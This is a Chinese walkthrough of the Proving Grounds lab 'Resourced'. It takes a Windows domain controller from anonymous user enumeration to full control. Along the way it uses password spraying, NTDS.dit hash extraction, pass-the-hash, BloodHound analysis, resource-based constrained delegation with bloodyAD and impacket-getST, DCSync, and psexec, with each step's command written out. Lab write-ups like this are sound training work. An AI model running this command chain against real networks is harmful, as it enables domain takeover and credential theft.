当前位置: 首页 > news >正文

PG靶机 - Resourced

一、前期侦察与初始立足

1.1 端口扫描与服务识别

首先,对目标主机 192.168.122.175 执行全面的 Nmap 端口扫描,旨在识别其开放的服务、版本信息及操作系统详情。

sudo nmap 192.168.122.175 -p- --min-rate=5000 -A

Nmap 扫描结果
图 1: Nmap 扫描结果,是一台域控制器

扫描结果揭示了多个与 Windows 域环境高度相关的服务端口,例如 Kerberos (88)、LDAP (389) 和 SMB (445)。同时,远程桌面服务 (3389) 和 WinRM (5985) 也处于开放状态。

1.2 匿名枚举与凭据发现

在渗透测试初期,尝试利用空会话对目标进行信息枚举。测试结果显示,目标允许空会话认证,这是一个潜在的信息泄露点。

空会话认证成功
图 2: 成功建立空会话连接

尽管成功建立了空会话,但进一步枚举共享目录的尝试失败,未发现可利用的共享。

枚举共享目录失败
图 3: 未发现非标准共享目录

然而,利用该空会话权限,成功枚举出域内的用户列表。在枚举过程中,一个关键的发现是用户 V.Ventz 的描述字段中意外地泄露了其明文密码。

枚举域用户并发现密码泄露
图 4: 域用户枚举结果,V.Ventz 的描述字段泄露了密码

1.3 凭据验证与横向移动

我们将所有枚举到的用户名保存至 users.txt 文件,并使用泄露的密码 HotelCalifornia194! 对所有用户进行密码喷洒攻击 (Password Spraying)。验证结果显示,该密码仅对用户 V.Ventz 有效。

nxc smb 192.168.122.175 -u users.txt -p 'HotelCalifornia194!' --continue-on-success

密码喷洒结果
图 5: 密码喷洒确认 V.Ventz 的凭据有效性

获得 V.Ventz 的有效凭据后,我们重新枚举 SMB 共享目录。这次发现了一个名为 "Password Audit" 的非默认共享目录,这暗示着其中可能包含敏感信息。

发现非默认共享目录
图 6: V.Ventz 凭据下枚举到的 “Password Audit” 共享

我们递归下载了该共享目录下的所有文件,共获取到两个关键文件。

下载共享目录文件
图 7: 从共享目录下载文件

经检查,这两个文件分别是 ntds.ditSYSTEM hive 文件。ntds.dit 是 Active Directory 的核心数据库文件,存储了域内所有对象的信息,包括用户密码的哈希值。而 SYSTEM 文件则包含了启动 ntds.dit 所需的密钥。拥有这两个文件,意味着我们可以离线提取整个域的凭据哈希。

ntds.dit 和 SYSTEM 文件
图 8: 确认获取到 ntds.dit 和 SYSTEM 文件

由于文件较大,我们通过手动方式将它们完整下载到本地分析环境。

手动下载文件
图 9: 手动下载大文件至本地

二、离线哈希提取与权限提升

2.1 提取域用户哈希

在本地利用 Impacket 工具集中的 secretsdump.py 脚本,结合已获取的 ntds.ditSYSTEM 文件,成功离线提取了域内所有用户的 NTLM 哈希。

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

成功提取哈希
图 10: secretsdump.py 成功提取所有域用户哈希

2.2 哈希验证与新凭据获取

为了验证提取出的哈希的有效性,我们对用户列表进行了一轮哈希传递 (Pass-the-Hash) 验证。结果确认了用户 L.Livingstone 的 NTLM 哈希 19a3a7550ce8c505c2d46b5e39d6f808 是有效的。

nxc ldap 192.168.122.175 -u users.txt -H hash.txt --continue-on-success

验证哈希有效性
图 11: 验证并获得 L.Livingstone 的有效哈希凭据

进一步测试发现,该用户可以通过 WinRM 服务进行远程登录,这表明 L.Livingstone 很可能是“远程管理用户组” (Remote Management Users) 的成员。

WinRM 登录测试
图 12: 确认 L.Livingstone 具有 WinRM 登录权限

利用 evil-winrm 工具和 L.Livingstone 的哈希,我们成功建立了一个远程会话。

成功远程登录
图 13: 成功通过 WinRM 远程登录目标主机

三、深入分析与域控权限获取

3.1 信息搜集与提权尝试

在获得的远程会话中,我们在 C: 盘根目录发现了一个名为 output.txt 的文件。文件内容显示系统存在一个定时任务,该任务会执行一个 ps1 脚本。

发现定时任务信息
图 14: output.txt 文件揭示了定时任务信息

然而,检查发现该目录及脚本文件均不存在。这为我们提供了一个明确的提权思路:创建此路径和文件,并植入恶意代码,等待定时任务以高权限身份执行。我们尝试创建该脚本并写入反弹 shell 的 PowerShell 代码。

尝试写入反弹 Shell 脚本
图 15: 植入用于反弹 Shell 的 PowerShell 脚本

等了好一会儿,脚本并未如预期被执行,似乎是靶机创建时执行的任务。随后,我们尝试了 Kerberoasting 和 AS-REP Roasting 攻击,但均未发现新的可利用信息。

其他攻击尝试失败
图 16: Kerberoasting 与 AS-REP Roasting 未获成果

3.2 BloodHound 域关系分析

鉴于手动探索受阻,我们转而使用 BloodHound 对复杂的域内权限关系进行深度分析。利用 L.Livingstone 的哈希凭据,我们运行 bloodhound-ce-python 收集器,抓取域 resourced.local 的所有信息。

bloodhound-ce-python -c all -d resourced.local -u 'L.Livingstone' --hashes ':19a3a7550ce8c505c2d46b5e39d6f808' -ns 192.168.158.175 -dc ResourceDC.resourced.local --zip

使用 BloodHound 收集器
图 17: 收集 BloodHound 数据

将收集到的数据导入 BloodHound CE 图形界面进行分析,发现了一条关键的攻击路径:用户 L.Livingstone 对域控计算机账户 RESOURCEDC$ 拥有 GenericAll 权限。此权限意味着 L.Livingstone 可以完全控制该计算机对象。

BloodHound 分析结果图 18: L.Livingstone 对域控计算机账户拥有 GenericAll 权限

3.3 基于资源的约束委派 (RBCD) 攻击

我们首先尝试了基于 GenericAll 权限的影子凭证攻击 (Shadow Credentials),但攻击失败。根据经验判断,这通常是由于域控制器上未启用证书服务所致。因此,我们转向另一种利用此权限的攻击方法:基于资源的约束委派 (Resource-Based Constrained Delegation, RBCD)。

影子凭证攻击失败
图 19: 影子凭证攻击尝试失败

RBCD 攻击的核心思路是:利用对 RESOURCEDC$GenericAll 权限,修改其 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,从而允许我们控制的另一个账户模拟任意用户来访问 RESOURCEDC$

攻击步骤如下:

  1. 创建新的计算机账户:使用 bloodyAD 创建一个我们完全控制的计算机账户 SUMMER$
  2. 设置 RBCD 规则:在目标计算机账户 RESOURCEDC$ 上设置规则,将其委派给新创建的 SUMMER$ 账户。
# 创建计算机账户
bloodyAD -d resourced.local --host 192.168.158.175 -u 'L.Livingstone' --hashes ':19a3a7550ce8c505c2d46b5e39d6f808' add computer 'SUMMER$' 'summer@123'
# 在目标账户上设置RBCD规则
bloodyAD -d resourced.local --host 192.168.158.175 -u 'L.Livingstone' --hashes ':19a3a7550ce8c505c2d46b5e39d6f808' add rbcd 'RESOURCEDC$' 'SUMMER$'

配置 RBCD
图 20: 成功创建计算机账户并设置 RBCD 规则

3.4 DCSync 获取域管理员哈希

委派关系建立后,我们使用 impacket-getST,以 SUMMER$ 的身份,请求一张可以模拟域管理员 Administrator 访问域控 cifs 服务的服务票据 (ST)。

impacket-getST resourced.local/'SUMMER$':summer@123 -spn cifs/ResourceDC.resourced.local -impersonate administrator -dc-ip 192.168.158.175

获取服务票据图 21: 成功获取模拟 Administrator 的服务票据

将获取到的 Kerberos 票据导入当前会话的环境变量中。然后,利用这张票据进行 Kerberos 认证,执行 DCSync 攻击,最终成功转储出域 Administrator 账户的 NTLM 哈希。

# 将 Kerberos 票据导入环境变量
export KRB5CCNAME=administrator@cifs_ResourceDC.resourced.local@RESOURCED.LOCAL.ccache
# 使用 Kerberos 认证执行 DCSync
impacket-secretsdump -k -no-pass -just-dc-user administrator resourced.local/administrator@ResourceDC.resourced.local

DCSync 获取管理员哈希
图 22: 成功获取 Administrator 的 NTLM 哈希

3.5 Pass-the-Hash 登录域控

最后,利用获取到的域 Administrator 账户的 NTLM 哈希,通过 Impacket 工具集中的 psexec.py 脚本执行哈希传递 (Pass-the-Hash) 攻击,以 Administrator 身份完全控制域控制器。

impacket-psexec administrator@192.168.158.175 -hashes :8e0efd059433841f73d171c69afdda7c

成功获取域控权限
图 23: 成功通过 Pass-the-Hash 获取域控的 SYSTEM 权限

至此,成功获得了域控制器的最高权限。

http://www.dtcms.com/a/324888.html

相关文章:

  • 【51单片机按键闪烁流水灯方向】2022-10-26
  • 【LeetCode】102 - 二叉树的层序遍历
  • MVC结构变种——第三章核心视图及控制器的整体逻辑
  • idea中使用maven造成每次都打印日志
  • matlab实现随机森林算法
  • [SUCTF 2019]Pythonginx
  • JS中typeof与instanceof的区别
  • 【精彩回顾·成都】成都 User Group×柴火创客空间:开源硬件驱动 AI 与云的创新实践!
  • JS 注释类型
  • ADK[3]历史对话信息保存机制与构建多轮对话机器人
  • scanpy单细胞转录组python教程(四):单样本数据分析之降维聚类及细胞注释
  • 【Canvas与戳记】黑底金Z字
  • 正确使用SQL Server中的Hint(10)— 常用Hint(2)
  • Spring WebSocket安全认证与权限控制解析
  • 研究揭示 Apple Intelligence 数据处理中可能存在隐私漏洞
  • 【redis初阶】------List 列表类型
  • 通过脚本修改MATLAB的数据字典
  • 【15】OpenCV C++实战篇——fitEllipse椭圆拟合、 Ellipse()画椭圆
  • 【人工智能99问】BERT的原理什么?(23/99)
  • Elasticsearch 保姆级入门篇
  • SpringBoot查询方式全解析
  • 在Mac上搭建本地AI工作流:Dify与DeepSeek的完美结合
  • 数字图像处理2——图像增强
  • AI(1)-神经网络(正向传播与反向传播)
  • 【RL第七篇】PPO训练策略,如何使PPO训练稳定?
  • unity中如何让原人物动画兼容新人物的动画
  • 异步问题的概念和消除问题技巧
  • Graph-R1:一种用于结构化多轮推理的智能图谱检索框架,并结合端到端强化学习
  • 【面板数据】全国及各省份技术市场成交额数据-dta+xlsx格式(2001-2023年)
  • nginx+lua+redis案例